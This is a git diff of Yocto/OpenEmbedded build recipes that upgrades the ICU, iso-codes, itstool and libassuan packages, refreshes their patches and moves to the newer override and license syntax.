diff --git a/meta/recipes-support/icu/icu/0001-icu-Added-armeb-support.patch b/meta/recipes-support/icu/icu/0001-icu-Added-armeb-support.patch
index 145efc0e01..a25285fb54 100644
--- a/meta/recipes-support/icu/icu/0001-icu-Added-armeb-support.patch
+++ b/meta/recipes-support/icu/icu/0001-icu-Added-armeb-support.patch
@@ -1,4 +1,4 @@
-From 500321387ceca48934bb0f323779117cd518bab6 Mon Sep 17 00:00:00 2001
+From cf55c077b77b7a219502364eaadf12c074ab005e Mon Sep 17 00:00:00 2001
From: Lei Maohui <leimaohui@cn.fujitsu.com>
Date: Wed, 8 May 2019 14:42:30 +0900
Subject: [PATCH] icu: Added armeb support.
@@ -13,10 +13,10 @@ Signed-off-by: Lei Maohui <leimaohui@cn.fujitsu.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/i18n/double-conversion-utils.h b/i18n/double-conversion-utils.h
-index 8c6a0e1..cf89907 100644
+index 303668f..7d859dc 100644
--- a/i18n/double-conversion-utils.h
+++ b/i18n/double-conversion-utils.h
-@@ -115,7 +115,7 @@ int main(int argc, char** argv) {
+@@ -146,7 +146,7 @@ int main(int argc, char** argv) {
//
// If it prints "correct" then the architecture should be here, in the "correct" section.
#if defined(_M_X64) || defined(__x86_64__) || \
@@ -24,7 +24,4 @@ index 8c6a0e1..cf89907 100644
+ defined(__arm__) || defined(__avr32__) || defined(_M_ARM) || defined(_M_ARM64) || \
defined(__hppa__) || defined(__ia64__) || \
defined(__mips__) || \
- defined(__nios2__) || \
---
-2.7.4
-
+ defined(__loongarch__) || \
diff --git a/meta/recipes-support/icu/icu/fix-install-manx.patch b/meta/recipes-support/icu/icu/fix-install-manx.patch
index 925b064ebd..7526bde370 100644
--- a/meta/recipes-support/icu/icu/fix-install-manx.patch
+++ b/meta/recipes-support/icu/icu/fix-install-manx.patch
@@ -1,4 +1,4 @@
-From a6ddabc8cadb76bfe2d2e374a6702442cfe51cce Mon Sep 17 00:00:00 2001
+From 2d544cac238eccbfc32cafc9502ddf6e00994211 Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Fri, 9 Oct 2015 17:50:41 +0100
Subject: [PATCH] icu: fix install race
@@ -13,13 +13,12 @@ in the install command.
Upstream-Status: Pending
Signed-off-by: Ross Burton <ross.burton@intel.com>
-
---
- source/Makefile.in | 8 ++++----
+ Makefile.in | 8 ++++----
1 file changed, 4 insertions(+), 4 deletions(-)
diff --git a/Makefile.in b/Makefile.in
-index be9435b..ada20d7 100644
+index 8366f01..79b91c9 100644
--- a/Makefile.in
+++ b/Makefile.in
@@ -77,7 +77,7 @@ EXTRA_DATA =
diff --git a/meta/recipes-support/icu/icu_67.1.bb b/meta/recipes-support/icu/icu_67.1.bb
deleted file mode 100644
index 9e8091ba01..0000000000
--- a/meta/recipes-support/icu/icu_67.1.bb
+++ /dev/null
@@ -1,150 +0,0 @@
-SUMMARY = "International Component for Unicode libraries"
-DESCRIPTION = "The International Component for Unicode (ICU) is a mature, \
-portable set of C/C++ and Java libraries for Unicode support, software \
-internationalization (I18N) and globalization (G11N), giving applications the \
-same results on all platforms."
-HOMEPAGE = "http://site.icu-project.org/"
-
-LICENSE = "ICU"
-DEPENDS = "icu-native"
-DEPENDS_class-native = ""
-
-CVE_PRODUCT = "international_components_for_unicode"
-
-S = "${WORKDIR}/icu/source"
-SPDX_S = "${WORKDIR}/icu"
-STAGING_ICU_DIR_NATIVE = "${STAGING_DATADIR_NATIVE}/${BPN}/${PV}"
-
-BINCONFIG = "${bindir}/icu-config"
-
-ICU_MAJOR_VER = "${@d.getVar('PV').split('.')[0]}"
-
-inherit autotools pkgconfig binconfig multilib_script
-
-MULTILIB_SCRIPTS = "${PN}-dev:${bindir}/icu-config"
-
-# ICU needs the native build directory as an argument to its --with-cross-build option when
-# cross-compiling. Taken the situation that different builds may share a common sstate-cache
-# into consideration, the native build directory needs to be staged.
-EXTRA_OECONF = "--with-cross-build=${STAGING_ICU_DIR_NATIVE}"
-EXTRA_OECONF_class-native = ""
-EXTRA_OECONF_class-nativesdk = "--with-cross-build=${STAGING_ICU_DIR_NATIVE}"
-
-EXTRA_OECONF_append_class-target = "${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'be', ' --with-data-packaging=archive', '', d)}"
-TARGET_CXXFLAGS_append = "${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'be', ' -DICU_DATA_DIR=\\""${datadir}/${BPN}/${PV}\\""', '', d)}"
-
-ASNEEDED = ""
-
-do_compile_prepend_class-target () {
- # Make sure certain build host references do not end up being compiled
- # in the image. This only affects libicutu and icu-dbg
- sed \
- -e 's,DU_BUILD=,DU_BUILD_unused=,g' \
- -e '/^CPPFLAGS.*/ s,--sysroot=${STAGING_DIR_TARGET},,g' \
- -i ${B}/tools/toolutil/Makefile
-}
-
-PREPROCESS_RELOCATE_DIRS = "${datadir}/${BPN}/${PV}"
-do_install_append_class-native() {
- mkdir -p ${D}/${STAGING_ICU_DIR_NATIVE}/config
- cp -r ${B}/config/icucross.mk ${D}/${STAGING_ICU_DIR_NATIVE}/config
- cp -r ${B}/config/icucross.inc ${D}/${STAGING_ICU_DIR_NATIVE}/config
- cp -r ${B}/lib ${D}/${STAGING_ICU_DIR_NATIVE}
- cp -r ${B}/bin ${D}/${STAGING_ICU_DIR_NATIVE}
- cp -r ${B}/tools ${D}/${STAGING_ICU_DIR_NATIVE}
-}
-
-do_install_append_class-target() {
- # The native pkgdata can not generate the correct data file.
- # Use icupkg to re-generate it.
- if [ "${SITEINFO_ENDIANNESS}" = "be" ] ; then
- rm -f ${D}/${datadir}/${BPN}/${PV}/icudt${ICU_MAJOR_VER}b.dat
- icupkg -tb ${S}/data/in/icudt${ICU_MAJOR_VER}l.dat ${D}/${datadir}/${BPN}/${PV}/icudt${ICU_MAJOR_VER}b.dat
- fi
-
- # Remove build host references...
- sed -i \
- -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
- -e 's|${DEBUG_PREFIX_MAP}||g' \
- -e 's:${HOSTTOOLS_DIR}/::g' \
- ${D}/${bindir}/icu-config ${D}/${libdir}/${BPN}/${PV}/Makefile.inc \
- ${D}/${libdir}/${BPN}/${PV}/pkgdata.inc
-}
-
-PACKAGES =+ "libicudata libicuuc libicui18n libicutu libicuio"
-
-FILES_${PN}-dev += "${libdir}/${BPN}/"
-
-FILES_libicudata = "${libdir}/libicudata.so.*"
-FILES_libicuuc = "${libdir}/libicuuc.so.*"
-FILES_libicui18n = "${libdir}/libicui18n.so.*"
-FILES_libicutu = "${libdir}/libicutu.so.*"
-FILES_libicuio = "${libdir}/libicuio.so.*"
-
-BBCLASSEXTEND = "native nativesdk"
-
-LIC_FILES_CHKSUM = "file://../LICENSE;md5=a3808a5b70071b07f87ff2205e4d75a0"
-
-def icu_download_version(d):
- pvsplit = d.getVar('PV').split('.')
- return pvsplit[0] + "_" + pvsplit[1]
-
-def icu_download_folder(d):
- pvsplit = d.getVar('PV').split('.')
- return pvsplit[0] + "-" + pvsplit[1]
-
-ICU_PV = "${@icu_download_version(d)}"
-ICU_FOLDER = "${@icu_download_folder(d)}"
-
-# http://errors.yoctoproject.org/Errors/Details/20486/
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-
-BASE_SRC_URI = "https://github.com/unicode-org/icu/releases/download/release-${ICU_FOLDER}/icu4c-${ICU_PV}-src.tgz"
-DATA_SRC_URI = "https://github.com/unicode-org/icu/releases/download/release-${ICU_FOLDER}/icu4c-${ICU_PV}-data.zip"
-SRC_URI = "${BASE_SRC_URI};name=code \
- ${DATA_SRC_URI};name=data \
- file://filter.json \
- file://fix-install-manx.patch \
- file://0001-icu-Added-armeb-support.patch \
- "
-
-SRC_URI_append_class-target = "\
- file://0001-Disable-LDFLAGSICUDT-for-Linux.patch \
- "
-SRC_URI[code.sha256sum] = "94a80cd6f251a53bd2a997f6f1b5ac6653fe791dfab66e1eb0227740fb86d5dc"
-SRC_URI[data.sha256sum] = "7c16a59cc8c06128b7ecc1dc4fc056b36b17349312829b17408b9e67b05c4a7e"
-
-UPSTREAM_CHECK_REGEX = "icu4c-(?P<pver>\d+(_\d+)+)-src"
-UPSTREAM_CHECK_URI = "https://github.com/unicode-org/icu/releases"
-
-EXTRA_OECONF_append_libc-musl = " ac_cv_func_strtod_l=no"
-
-PACKAGECONFIG ?= ""
-PACKAGECONFIG[make-icudata] = ",,,"
-
-do_make_icudata_class-target () {
- ${@bb.utils.contains('PACKAGECONFIG', 'make-icudata', '', 'exit 0', d)}
- cd ${S}
- rm -rf data
- cp -a ${WORKDIR}/data .
- AR='${BUILD_AR}' \
- CC='${BUILD_CC}' \
- CPP='${BUILD_CPP}' \
- CXX='${BUILD_CXX}' \
- RANLIB='${BUILD_RANLIB}' \
- CFLAGS='${BUILD_CFLAGS}' \
- CPPFLAGS='${BUILD_CPPFLAGS}' \
- CXXFLAGS='${BUILD_CXXFLAGS}' \
- LDFLAGS='${BUILD_LDFLAGS}' \
- ICU_DATA_FILTER_FILE=${WORKDIR}/filter.json \
- ./runConfigureICU Linux --with-data-packaging=archive
- oe_runmake
- install -Dm644 ${S}/data/out/icudt${ICU_MAJOR_VER}l.dat ${S}/data/in/icudt${ICU_MAJOR_VER}l.dat
-}
-
-do_make_icudata() {
- :
-}
-
-addtask make_icudata before do_configure after do_patch
diff --git a/meta/recipes-support/icu/icu_74-2.bb b/meta/recipes-support/icu/icu_74-2.bb
new file mode 100644
index 0000000000..8352bf2a5b
--- /dev/null
+++ b/meta/recipes-support/icu/icu_74-2.bb
@@ -0,0 +1,149 @@
+SUMMARY = "International Component for Unicode libraries"
+DESCRIPTION = "The International Component for Unicode (ICU) is a mature, \
+portable set of C/C++ and Java libraries for Unicode support, software \
+internationalization (I18N) and globalization (G11N), giving applications the \
+same results on all platforms."
+HOMEPAGE = "http://site.icu-project.org/"
+
+LICENSE = "ICU"
+DEPENDS = "icu-native autoconf-archive-native"
+
+CVE_PRODUCT = "international_components_for_unicode"
+
+S = "${WORKDIR}/icu/source"
+SPDX_S = "${WORKDIR}/icu"
+STAGING_ICU_DIR_NATIVE = "${STAGING_DATADIR_NATIVE}/${BPN}/${PV}"
+
+ICU_MAJOR_VER = "${@d.getVar('PV').split('-')[0]}"
+
+inherit autotools pkgconfig github-releases
+
+# ICU needs the native build directory as an argument to its --with-cross-build option when
+# cross-compiling. Taken the situation that different builds may share a common sstate-cache
+# into consideration, the native build directory needs to be staged.
+EXTRA_OECONF = "--with-cross-build=${STAGING_ICU_DIR_NATIVE} --disable-icu-config"
+EXTRA_OECONF:class-native = "--disable-icu-config"
+EXTRA_OECONF:class-nativesdk = "--with-cross-build=${STAGING_ICU_DIR_NATIVE} --disable-icu-config"
+
+EXTRA_OECONF:append:class-target = "${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'be', ' --with-data-packaging=archive', '', d)}"
+TARGET_CXXFLAGS:append = "${@oe.utils.conditional('SITEINFO_ENDIANNESS', 'be', ' -DICU_DATA_DIR=\\""${datadir}/${BPN}/${PV}\\""', '', d)}"
+
+ASNEEDED = ""
+
+do_compile:prepend:class-target () {
+ # Make sure certain build host references do not end up being compiled
+ # in the image. This only affects libicutu and icu-dbg
+ sed \
+ -e 's,DU_BUILD=,DU_BUILD_unused=,g' \
+ -e '/^CPPFLAGS.*/ s,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -i ${B}/tools/toolutil/Makefile
+}
+
+PREPROCESS_RELOCATE_DIRS = "${datadir}/${BPN}/${PV}"
+do_install:append:class-native() {
+ mkdir -p ${D}/${STAGING_ICU_DIR_NATIVE}/config
+ cp -r ${B}/config/icucross.mk ${D}/${STAGING_ICU_DIR_NATIVE}/config
+ cp -r ${B}/config/icucross.inc ${D}/${STAGING_ICU_DIR_NATIVE}/config
+ cp -r ${B}/lib ${D}/${STAGING_ICU_DIR_NATIVE}
+ cp -r ${B}/bin ${D}/${STAGING_ICU_DIR_NATIVE}
+ cp -r ${B}/tools ${D}/${STAGING_ICU_DIR_NATIVE}
+}
+
+do_install:append:class-target() {
+ # The native pkgdata can not generate the correct data file.
+ # Use icupkg to re-generate it.
+ if [ "${SITEINFO_ENDIANNESS}" = "be" ] ; then
+ rm -f ${D}/${datadir}/${BPN}/${@icu_install_folder(d)}/icudt${ICU_MAJOR_VER}b.dat
+ icupkg -tb ${S}/data/in/icudt${ICU_MAJOR_VER}l.dat ${D}/${datadir}/${BPN}/${@icu_install_folder(d)}/icudt${ICU_MAJOR_VER}b.dat
+ fi
+
+ # Remove build host references...
+ sed -i \
+ -e 's,--sysroot=${STAGING_DIR_TARGET},,g' \
+ -e 's|${DEBUG_PREFIX_MAP}||g' \
+ -e 's:${HOSTTOOLS_DIR}/::g' \
+ ${D}/${libdir}/${BPN}/${@icu_install_folder(d)}/Makefile.inc \
+ ${D}/${libdir}/${BPN}/${@icu_install_folder(d)}/pkgdata.inc
+}
+
+PACKAGES =+ "libicudata libicuuc libicui18n libicutu libicuio"
+
+FILES:${PN}-dev += "${libdir}/${BPN}/"
+
+FILES:libicudata = "${libdir}/libicudata.so.*"
+FILES:libicuuc = "${libdir}/libicuuc.so.*"
+FILES:libicui18n = "${libdir}/libicui18n.so.*"
+FILES:libicutu = "${libdir}/libicutu.so.*"
+FILES:libicuio = "${libdir}/libicuio.so.*"
+
+BBCLASSEXTEND = "native nativesdk"
+
+LIC_FILES_CHKSUM = "file://../LICENSE;md5=08dc3852df8fffa807301902ad899ff8"
+
+def icu_download_version(d):
+ pvsplit = d.getVar('PV').split('-')
+ return pvsplit[0] + "_" + pvsplit[1]
+
+def icu_download_folder(d):
+ pvsplit = d.getVar('PV').split('-')
+ return pvsplit[0] + "-" + pvsplit[1]
+
+def icu_install_folder(d):
+ pvsplit = d.getVar('PV').split('-')
+ return pvsplit[0] + "." + pvsplit[1]
+
+ICU_PV = "${@icu_download_version(d)}"
+ICU_FOLDER = "${@icu_download_folder(d)}"
+
+# http://errors.yoctoproject.org/Errors/Details/20486/
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+
+BASE_SRC_URI = "${GITHUB_BASE_URI}/download/release-${ICU_FOLDER}/icu4c-${ICU_PV}-src.tgz"
+DATA_SRC_URI = "${GITHUB_BASE_URI}/download/release-${ICU_FOLDER}/icu4c-${ICU_PV}-data.zip"
+SRC_URI = "${BASE_SRC_URI};name=code \
+ ${DATA_SRC_URI};name=data \
+ file://filter.json \
+ file://fix-install-manx.patch \
+ file://0001-icu-Added-armeb-support.patch \
+ "
+
+SRC_URI:append:class-target = "\
+ file://0001-Disable-LDFLAGSICUDT-for-Linux.patch \
+ "
+SRC_URI[code.sha256sum] = "68db082212a96d6f53e35d60f47d38b962e9f9d207a74cfac78029ae8ff5e08c"
+SRC_URI[data.sha256sum] = "c28c3ca5f4ba3384781797138a294ca360988d4322674ad4d51e52f5d9b0a2b6"
+
+UPSTREAM_CHECK_REGEX = "releases/tag/release-(?P<pver>(?!.+rc).+)"
+GITHUB_BASE_URI = "https://github.com/unicode-org/icu/releases"
+
+EXTRA_OECONF:append:libc-musl = " ac_cv_func_strtod_l=no"
+
+PACKAGECONFIG ?= ""
+PACKAGECONFIG[make-icudata] = ",,,"
+
+do_make_icudata:class-target () {
+ ${@bb.utils.contains('PACKAGECONFIG', 'make-icudata', '', 'exit 0', d)}
+ cd ${S}
+ rm -rf data
+ cp -a ${WORKDIR}/data .
+ AR='${BUILD_AR}' \
+ CC='${BUILD_CC}' \
+ CPP='${BUILD_CPP}' \
+ CXX='${BUILD_CXX}' \
+ RANLIB='${BUILD_RANLIB}' \
+ CFLAGS='${BUILD_CFLAGS}' \
+ CPPFLAGS='${BUILD_CPPFLAGS}' \
+ CXXFLAGS='${BUILD_CXXFLAGS}' \
+ LDFLAGS='${BUILD_LDFLAGS}' \
+ ICU_DATA_FILTER_FILE=${WORKDIR}/filter.json \
+ ./runConfigureICU Linux --with-data-packaging=archive
+ oe_runmake
+ install -Dm644 ${S}/data/out/icudt${ICU_MAJOR_VER}l.dat ${S}/data/in/icudt${ICU_MAJOR_VER}l.dat
+}
+
+do_make_icudata() {
+ :
+}
+
+addtask make_icudata before do_configure after do_patch do_prepare_recipe_sysroot
diff --git a/meta/recipes-support/iso-codes/iso-codes_4.16.0.bb b/meta/recipes-support/iso-codes/iso-codes_4.16.0.bb
new file mode 100644
index 0000000000..f33cce1a9d
--- /dev/null
+++ b/meta/recipes-support/iso-codes/iso-codes_4.16.0.bb
@@ -0,0 +1,24 @@
+SUMMARY = "ISO language, territory, currency, script codes and their translations"
+DESCRIPTION = "Provides lists of various ISO standards (e.g. country, \
+language, language scripts, and currency names) in one place, rather \
+than repeated in many programs throughout the system."
+HOMEPAGE = "https://salsa.debian.org/iso-codes-team/iso-codes"
+BUGTRACKER = "https://salsa.debian.org/iso-codes-team/iso-codes/issues"
+
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+SRC_URI = "git://salsa.debian.org/iso-codes-team/iso-codes.git;protocol=https;branch=main;"
+SRCREV = "c2fcaadc832ed9f858950a43994973442d85ef4f"
+
+# inherit gettext cannot be used, because it adds gettext-native to BASEDEPENDS which
+# are inhibited by allarch
+DEPENDS = "gettext-native"
+
+S = "${WORKDIR}/git"
+
+inherit allarch autotools
+
+FILES:${PN} += "${datadir}/xml/"
+
+BBCLASSEXTEND += "native"
diff --git a/meta/recipes-support/iso-codes/iso-codes_4.5.0.bb b/meta/recipes-support/iso-codes/iso-codes_4.5.0.bb
deleted file mode 100644
index 9d02f5c794..0000000000
--- a/meta/recipes-support/iso-codes/iso-codes_4.5.0.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-SUMMARY = "ISO language, territory, currency, script codes and their translations"
-HOMEPAGE = "https://salsa.debian.org/iso-codes-team/iso-codes"
-BUGTRACKER = "https://salsa.debian.org/iso-codes-team/iso-codes/issues"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-SRC_URI = "git://salsa.debian.org/iso-codes-team/iso-codes.git;protocol=http;branch=main;"
-SRCREV = "a36019e5014bff251f83d522ddcfebaecf52afd3"
-
-# inherit gettext cannot be used, because it adds gettext-native to BASEDEPENDS which
-# are inhibited by allarch
-DEPENDS = "gettext-native"
-
-S = "${WORKDIR}/git"
-
-inherit allarch autotools
-
-FILES_${PN} += "${datadir}/xml/"
diff --git a/meta/recipes-support/itstool/itstool/0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch b/meta/recipes-support/itstool/itstool/0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch
index 19a858bd75..fdcbe46fed 100644
--- a/meta/recipes-support/itstool/itstool/0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch
+++ b/meta/recipes-support/itstool/itstool/0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch
@@ -1,4 +1,4 @@
-From 335ef14fc801c9dfbe7e5692dc71cfbe72049d2b Mon Sep 17 00:00:00 2001
+From c47820450ce7f55d22c672cf94d20a5f9fd208bf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Andreas=20M=C3=BCller?= <schnitzeltony@gmail.com>
Date: Sun, 27 Oct 2019 16:38:52 +0100
Subject: [PATCH] Native: Don't use build time hardcoded python binary path.
@@ -16,12 +16,13 @@ don't support it [2]
Upstream-Status: Inappropriate [OE specific]
Signed-off-by: Andreas Müller <schnitzeltony@gmail.com>
+
---
itstool.in | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/itstool.in b/itstool.in
-index e64cd34..05d264f 100755
+index c21ad4b..daea177 100755
--- a/itstool.in
+++ b/itstool.in
@@ -1,4 +1,4 @@
@@ -30,6 +31,3 @@ index e64cd34..05d264f 100755
#
# Copyright (c) 2010-2018 Shaun McCance <shaunm@gnome.org>
#
---
-2.21.0
-
diff --git a/meta/recipes-support/itstool/itstool_2.0.6.bb b/meta/recipes-support/itstool/itstool_2.0.6.bb
deleted file mode 100644
index 5f358f463d..0000000000
--- a/meta/recipes-support/itstool/itstool_2.0.6.bb
+++ /dev/null
@@ -1,21 +0,0 @@
-SUMMARY = "ITS Tool allows you to translate your XML documents with PO files"
-HOMEPAGE = "http://itstool.org/"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=59c57b95fd7d0e9e238ebbc7ad47c5a5"
-
-inherit autotools python3native
-
-DEPENDS = "libxml2-native"
-
-SRC_URI = "http://files.itstool.org/${BPN}/${BPN}-${PV}.tar.bz2"
-SRC_URI_append_class-native = " file://0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch"
-SRC_URI_append_class-nativesdk = " file://0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch"
-SRC_URI_append_class-target = " file://0002-Don-t-use-build-time-hardcoded-python-binary-path.patch"
-
-SRC_URI[md5sum] = "4306eeba4f4aee6b393d14f9c3c57ca1"
-SRC_URI[sha256sum] = "6233cc22726a9a5a83664bf67d1af79549a298c23185d926c3677afa917b92a9"
-
-BBCLASSEXTEND = "native nativesdk"
-
-RDEPENDS_${PN} += "libxml2-python"
-RDEPENDS_${PN}_class-native = ""
diff --git a/meta/recipes-support/itstool/itstool_2.0.7.bb b/meta/recipes-support/itstool/itstool_2.0.7.bb
new file mode 100644
index 0000000000..ddbc49b6cf
--- /dev/null
+++ b/meta/recipes-support/itstool/itstool_2.0.7.bb
@@ -0,0 +1,29 @@
+SUMMARY = "ITS Tool allows you to translate your XML documents with PO files"
+DESCRIPTION = "It extracts messages from XML files and outputs PO template \
+files, then merges translations from MO files to create translated \
+XML files. It determines what to translate and how to chunk it into \
+messages using the W3C Internationalization Tag Set (ITS). "
+HOMEPAGE = "http://itstool.org/"
+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "\
+ file://COPYING;md5=59c57b95fd7d0e9e238ebbc7ad47c5a5 \
+ file://COPYING.GPL3;md5=d32239bcb673463ab874e80d47fae504 \
+"
+
+inherit autotools python3native
+
+DEPENDS = "libxml2-native"
+
+SRC_URI = "http://files.itstool.org/${BPN}/${BPN}-${PV}.tar.bz2 \
+ "
+UPSTREAM_CHECK_URI = "https://itstool.org/download.html"
+
+SRC_URI:append:class-native = " file://0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch"
+SRC_URI:append:class-nativesdk = " file://0001-Native-Don-t-use-build-time-hardcoded-python-binary-.patch"
+SRC_URI:append:class-target = " file://0002-Don-t-use-build-time-hardcoded-python-binary-path.patch"
+
+SRC_URI[sha256sum] = "6b9a7cd29a12bb95598f5750e8763cee78836a1a207f85b74d8b3275b27e87ca"
+
+BBCLASSEXTEND = "native nativesdk"
+
+RDEPENDS:${PN} += "libxml2-python"
diff --git a/meta/recipes-support/libassuan/libassuan/libassuan-add-pkgconfig-support.patch b/meta/recipes-support/libassuan/libassuan/libassuan-add-pkgconfig-support.patch
index 0e81454c63..fe811254d3 100644
--- a/meta/recipes-support/libassuan/libassuan/libassuan-add-pkgconfig-support.patch
+++ b/meta/recipes-support/libassuan/libassuan/libassuan-add-pkgconfig-support.patch
@@ -8,17 +8,20 @@ Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
forward ported to 2.4.4
Signed-off-by: Armin Kuster <akuster@mvista.com>
+---
+ src/libassuan.m4 | 81 ++----------------------------------------------
+ 1 file changed, 3 insertions(+), 78 deletions(-)
-Index: libassuan-2.5.2/src/libassuan.m4
-===================================================================
---- libassuan-2.5.2.orig/src/libassuan.m4
-+++ libassuan-2.5.2/src/libassuan.m4
-@@ -16,27 +16,6 @@ dnl Returns ok set to yes or no.
+diff --git a/src/libassuan.m4 b/src/libassuan.m4
+index df50484..380a48a 100644
+--- a/src/libassuan.m4
++++ b/src/libassuan.m4
+@@ -17,27 +17,6 @@ dnl Returns ok set to yes or no.
dnl
AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
[ AC_REQUIRE([AC_CANONICAL_HOST])
- AC_ARG_WITH(libassuan-prefix,
-- AC_HELP_STRING([--with-libassuan-prefix=PFX],
+- AS_HELP_STRING([--with-libassuan-prefix=PFX],
- [prefix where LIBASSUAN is installed (optional)]),
- libassuan_config_prefix="$withval", libassuan_config_prefix="")
- if test x$libassuan_config_prefix != x ; then
@@ -41,10 +44,11 @@ Index: libassuan-2.5.2/src/libassuan.m4
tmp=ifelse([$1], ,1:0.9.2,$1)
if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
-@@ -47,58 +26,11 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+@@ -47,59 +26,11 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+ req_libassuan_api=0
min_libassuan_version="$tmp"
fi
-
+-
- AC_MSG_CHECKING(for LIBASSUAN - version >= $min_libassuan_version)
- ok=no
- if test "$LIBASSUAN_CONFIG" != "no"; then
@@ -102,7 +106,7 @@ Index: libassuan-2.5.2/src/libassuan.m4
if test "$tmp" -gt 0 ; then
AC_MSG_CHECKING([LIBASSUAN API version])
if test "$req_libassuan_api" -eq "$tmp" ; then
-@@ -114,9 +46,7 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+@@ -115,9 +46,7 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
if test $ok = yes; then
if test x"$host" != x ; then
if test -z "$use_gpgrt_config"; then
@@ -113,7 +117,7 @@ Index: libassuan-2.5.2/src/libassuan.m4
fi
if test x"$libassuan_config_host" != xnone ; then
if test x"$libassuan_config_host" != x"$host" ; then
-@@ -158,12 +88,8 @@ dnl
+@@ -159,12 +88,8 @@ dnl
AC_DEFUN([AM_PATH_LIBASSUAN],
[ _AM_PATH_LIBASSUAN_COMMON($1)
if test $ok = yes; then
@@ -126,3 +130,6 @@ Index: libassuan-2.5.2/src/libassuan.m4
ifelse([$3], , :, [$3])
fi
AC_SUBST(LIBASSUAN_CFLAGS)
+--
+2.25.1
+
diff --git a/meta/recipes-support/libassuan/libassuan_2.5.3.bb b/meta/recipes-support/libassuan/libassuan_2.5.3.bb
deleted file mode 100644
index 52b4c0f1b9..0000000000
--- a/meta/recipes-support/libassuan/libassuan_2.5.3.bb
+++ /dev/null
@@ -1,36 +0,0 @@
-SUMMARY = "IPC library used by GnuPG and GPGME"
-HOMEPAGE = "http://www.gnupg.org/related_software/libassuan/"
-BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
-
-LICENSE = "GPLv3+ & LGPLv2.1+"
-LICENSE_${PN} = "LGPLv2.1+"
-LICENSE_${PN}-doc = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949 \
- file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
- file://src/assuan.c;endline=20;md5=ab92143a5a2adabd06d7994d1467ea5c\
- file://src/assuan-defs.h;endline=20;md5=15d950c83e82978e35b35e790d7e4d39"
-
-DEPENDS = "libgpg-error"
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/libassuan/libassuan-${PV}.tar.bz2 \
- file://libassuan-add-pkgconfig-support.patch \
- "
-
-SRC_URI[md5sum] = "226c504ea78a232224bf3b6846b3adb9"
-SRC_URI[sha256sum] = "91bcb0403866b4e7c4bc1cc52ed4c364a9b5414b3994f718c70303f7f765e702"
-
-BINCONFIG = "${bindir}/libassuan-config"
-
-inherit autotools texinfo binconfig-disabled pkgconfig multilib_header
-
-do_configure_prepend () {
- # Else these could be used in preference to those in aclocal-copy
- rm -f ${S}/m4/*.m4
-}
-
-do_install_append () {
- oe_multilib_header assuan.h
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/libassuan/libassuan_2.5.7.bb b/meta/recipes-support/libassuan/libassuan_2.5.7.bb
new file mode 100644
index 0000000000..d1e622635f
--- /dev/null
+++ b/meta/recipes-support/libassuan/libassuan_2.5.7.bb
@@ -0,0 +1,38 @@
+SUMMARY = "IPC library used by GnuPG and GPGME"
+DESCRIPTION = "A small library implementing the so-called Assuan protocol. \
+This protocol is used for IPC between most newer GnuPG components. \
+Both, server and client side functions are provided. "
+HOMEPAGE = "http://www.gnupg.org/related_software/libassuan/"
+BUGTRACKER = "https://bugs.g10code.com/gnupg/index"
+
+LICENSE = "GPL-3.0-or-later & LGPL-2.1-or-later"
+LICENSE:${PN} = "LGPL-2.1-or-later"
+LICENSE:${PN}-doc = "GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949 \
+ file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
+ file://src/assuan.c;endline=20;md5=ab92143a5a2adabd06d7994d1467ea5c\
+ file://src/assuan-defs.h;endline=20;md5=15d950c83e82978e35b35e790d7e4d39"
+
+DEPENDS = "libgpg-error"
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/libassuan/libassuan-${PV}.tar.bz2 \
+ file://libassuan-add-pkgconfig-support.patch \
+ "
+
+SRC_URI[sha256sum] = "0103081ffc27838a2e50479153ca105e873d3d65d8a9593282e9c94c7e6afb76"
+
+BINCONFIG = "${bindir}/libassuan-config"
+
+inherit autotools texinfo binconfig-disabled pkgconfig multilib_header
+
+do_configure:prepend () {
+ # Else these could be used in preference to those in aclocal-copy
+ rm -f ${S}/m4/*.m4
+}
+
+do_install:append () {
+ oe_multilib_header assuan.h
+}
+
